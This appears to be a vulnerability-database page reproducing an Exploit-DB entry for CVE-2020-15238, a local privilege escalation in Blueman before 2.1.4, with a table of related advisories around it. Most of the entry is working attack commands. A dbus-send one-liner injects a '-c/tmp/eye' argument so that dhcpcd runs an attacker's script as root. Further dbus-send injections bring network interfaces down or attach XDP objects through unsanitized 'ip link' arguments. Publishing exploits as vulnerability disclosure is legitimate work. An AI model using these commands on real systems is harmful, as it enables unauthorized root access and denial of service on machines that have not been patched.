Lucene search
K

Blueman < 2.1.4 - Local Privilege Escalation

🗓️ 28 Oct 2020 00:00:00Reported by Vaisha BernardType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 474 Views

Blueman < 2.1.4 - Local Privilege Escalation, CVE-2020-15238, Ubuntu 20.0

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Blueman < 2.1.4 - Local Privilege Escalation Vulnerability
28 Oct 202000:00
zdt
ArchLinux
[ASA-202012-12] blueman: privilege escalation
9 Dec 202000:00
archlinux
Circl
CVE-2020-15238
27 Oct 202021:30
circl
CNVD
Blueman Injection Vulnerability
28 Oct 202000:00
cnvd
CVE
CVE-2020-15238
27 Oct 202019:00
cve
Cvelist
CVE-2020-15238 Local privilege escalation Blueman
27 Oct 202019:00
cvelist
Debian
[SECURITY] [DLA 2430-1] blueman security update
3 Nov 202009:47
debian
Debian
[SECURITY] [DSA 4781-1] blueman security update
27 Oct 202018:38
debian
Debian CVE
CVE-2020-15238
27 Oct 202019:00
debiancve
Tenable Nessus
Debian DLA-2430-1 : blueman security update
6 Nov 202000:00
nessus
Rows per page
# Exploit Title: Local Privilege Escalation in Blueman < 2.1.4
# Date: 2020-10-27
# Exploit Author: Vaisha Bernard (vbernard - at - eyecontrol.nl)
# Vendor Homepage: https://github.com/blueman-project/blueman
# Software Link: https://github.com/blueman-project/blueman
# Version: < 2.1.4
# Tested on: Ubuntu 20.04
# CVE: CVE-2020-15238
#
# By default installed on Ubuntu 16.04 - 20.10 and
# Debian 9 - 11
#
# Local root exploit when dhcpcd is used instead of dhclient
# 
# Reference: https://www.eyecontrol.nl/blog/the-story-of-3-cves-in-ubuntu-desktop.html
#
# 
# The DhcpClient method of the d-bus interface to blueman-mechanism 
# is prone to an argument injection vulnerability. 
# On systems where the isc-dhcp-client package is removed 
# and the dhcpcd package installed, this leads to Local 
# Privilege Escalation to root from any unprivileged user. 
# See attached python script for a working exploit. Or use 
# this oneliner with a shellscript "/tmp/eye":
 
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"-c/tmp/eye"

# This happens because the argument is not sanitized before 
# being used as an argument to dhcpcd.
# 
# Also on default installations with isc-dhcp-client installed, 
# this can lead to DoS attacks by bringing any interface down 
# as follows:

dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 down al"

# Or allows users to attach XDP objects to an interface:

dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 down al"
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 name a"
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"a xdp o /tmp/o"

# This both happens because the argument is passed to "ip link" 
# unsanitized.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation